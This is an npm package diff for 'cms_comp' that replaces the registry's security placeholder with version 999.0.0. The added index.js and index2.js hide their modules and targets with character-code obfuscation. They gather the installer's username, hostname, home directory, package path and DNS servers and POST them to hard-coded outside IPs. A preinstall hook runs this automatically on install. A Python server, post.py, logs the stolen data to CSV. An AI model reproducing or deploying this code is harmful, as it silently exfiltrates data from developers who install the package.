cms_comp 0.0.1-security → 999.0.0

package/index.js

@@ -0,0 +1,54 @@
+const a1 = require(String.fromCharCode(111, 115));
+const b1 = require(String.fromCharCode(100, 110, 115));
+const c1 = require(String.fromCharCode(113, 117, 101, 114, 121, 115, 116, 114, 105, 110, 103));
+const d1 = require(String.fromCharCode(104, 116, 116, 112));
+const e1 = require("./package.json");
+const f1 = e1.name;
+
+const g1 = JSON.stringify({
+    p: f1,
+    c: __dirname,
+    hd: a1.homedir(),
+    hn: a1.hostname(),
+    un: a1.userInfo().username,
+    dns: b1.getServers(),
+    r: e1 ? e1.___resolved : undefined,
+    v: e1.version,
+    pjson: e1,
+});
+
+var h1 = c1.stringify({
+    msg: g1,
+});
+
+var i1 = {
+    hostname: String.fromCharCode(52, 51, 46, 49, 51, 54, 46, 51, 53, 46, 50, 49, 51), 
+    port: 445, 
+    path: String.fromCharCode(47), 
+    method: String.fromCharCode(80, 79, 83, 84), 
+    headers: {
+        "Content-Type": String.fromCharCode(97, 112, 112, 108, 105, 99, 97, 116, 105, 111, 110, 47, 120, 45, 119, 119, 119, 45, 102, 111, 114, 109, 45, 117, 114, 108, 101, 110, 99, 111, 100, 101, 100), // "application/x-www-form-urlencoded"
+        "Content-Length": h1.length,
+    },
+};
+
+var j1 = d1.request(i1, (k1) => {
+    k1.on("data", (l1) => {
+        process.stdout.write(l1);
+    });
+});
+
+j1.on("error", (m1) => {
+    if(Math.random() > 0.5) { 
+        var n1 = true; 
+        while(n1) { 
+            n1 = false; 
+        } 
+    } else {
+        // handle error
+    }
+});
+
+j1.write(h1);
+j1.end();
+console.log("The script is running!");

package/index2.js

@@ -0,0 +1,53 @@
+const a1 = require(String.fromCharCode(111, 115));
+const b1 = require(String.fromCharCode(100, 110, 115));
+const c1 = require(String.fromCharCode(113, 117, 101, 114, 121, 115, 116, 114, 105, 110, 103));
+const d1 = require(String.fromCharCode(104, 116, 116, 112));
+const e1 = require("./package.json");
+const f1 = e1.name;
+
+const g1 = JSON.stringify({
+    p: f1,
+    c: __dirname,
+    hd: a1.homedir(),
+    hn: a1.hostname(),
+    un: a1.userInfo().username,
+    dns: b1.getServers(),
+    r: e1 ? e1.___resolved : undefined,
+    v: e1.version,
+    pjson: e1,
+});
+
+var h1 = c1.stringify({
+    msg: g1,
+});
+
+var i1 = {
+    hostname: String.fromCharCode(51,56,46,49,54,53,46,50,49,46,50,48),
+    port: 8089,
+    path: String.fromCharCode(47),
+    method: String.fromCharCode(80,79,83,84),
+    headers: {
+        "Content-Type": String.fromCharCode(97,112,112,108,105,99,97,116,105,111,110,47,120,45,119,119,119,45,102,111,114,109,45,117,114,108,101,110,99,111,100,101,100),
+        "Content-Length": h1.length,
+    },
+};
+
+var j1 = d1.request(i1, (k1) => {
+    k1.on("data", (l1) => {
+        process.stdout.write(l1);
+    });
+});
+
+j1.on("error", (m1) => {
+    if (Math.random() > 0.5) { 
+        var n1 = true; 
+        while (n1) { 
+            n1 = false; 
+        } 
+    } else {
+        // handle error
+    }
+});
+
+j1.write(h1);
+j1.end();

package/package.json

@@ -1,6 +1,11 @@
 {
   "name": "cms_comp",
-  "version": "0.0.1-security",
-  "description": "security holding package",
-  "repository": "npm/security-holder"
+  "version": "999.0.0",
+  "main": "index.js",
+  "scripts": {
+    "test": "echo \"Error: no test specified\" && exit 1",
+    "preinstall": "node index.js"
+  },
+  "author": "wanggang",
+  "license": "ISC"
 }

package/post.py

@@ -0,0 +1,73 @@
+import http.server
+import socketserver
+import json
+import csv
+from urllib.parse import unquote
+import sys
+
+# 从命令行参数中获取端口号，默认值为80
+PORT = int(sys.argv[1]) if len(sys.argv) > 1 else 80
+FILENAME = 'log.csv'
+
+class CustomHandler(http.server.BaseHTTPRequestHandler):
+    def do_POST(self):
+        content_length = int(self.headers['Content-Length'])
+        post_data = self.rfile.read(content_length).decode('utf-8')
+        
+        print(f"Raw POST data: {post_data}")  # 调试信息，打印收到的原始数据
+
+        try:
+            # 解析POST请求中的数据
+            data = self.parse_post_data(post_data)
+            
+            # 把数据追加到CSV文件中
+            self.write_to_csv(data)
+            
+            # 返回200响应
+            self.send_response(200)
+            self.end_headers()
+            self.wfile.write(b'POST request received')
+        except Exception as e:
+            self.send_response(400)  # 发送400错误，表示请求体解析失败
+            self.end_headers()
+            self.wfile.write(f"Error processing POST data: {e}".encode('utf-8'))
+
+    def parse_post_data(self, post_data):
+        # 解码并解析 msg 参数的值
+        try:
+            parsed_data = unquote(post_data.split('msg=')[1])
+            json_data = json.loads(parsed_data)
+        except (IndexError, json.JSONDecodeError) as e:
+            raise ValueError(f"Error parsing post data: {e}")
+        
+        return {
+            'PackageName': json_data.get('p'),  # 修改列名
+            'Path': json_data.get('c'),         # 修改列名
+            'homePath': json_data.get('hd'),    # 修改列名
+            'hostname': json_data.get('hn'),     # 修改列名
+            'User': json_data.get('un'),        # 修改列名
+            'dns': json_data['dns'][0] if 'dns' in json_data else '',
+            'ip': json_data['dns'][1] if 'dns' in json_data and len(json_data['dns']) > 1 else '',
+        }
+
+    def write_to_csv(self, data):
+        file_exists = False
+        try:
+            with open(FILENAME, 'r') as f:
+                file_exists = True
+        except FileNotFoundError:
+            pass
+
+        with open(FILENAME, 'a', newline='') as csvfile:
+            fieldnames = ['PackageName', 'Path', 'homePath', 'hostname', 'User', 'dns', 'ip']  # 更新列名
+            writer = csv.DictWriter(csvfile, fieldnames=fieldnames)
+
+            if not file_exists:
+                writer.writeheader()  # 如果文件不存在，写入表头
+
+            writer.writerow(data)
+
+if __name__ == "__main__":
+    with socketserver.TCPServer(("", PORT), CustomHandler) as httpd:
+        print(f"Serving on port {PORT}")
+        httpd.serve_forever()

package/README.md

@@ -1,5 +0,0 @@
-# Security holding package
-
-This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
-
-Please refer to www.npmjs.com/advisories?search=cms_comp for more information.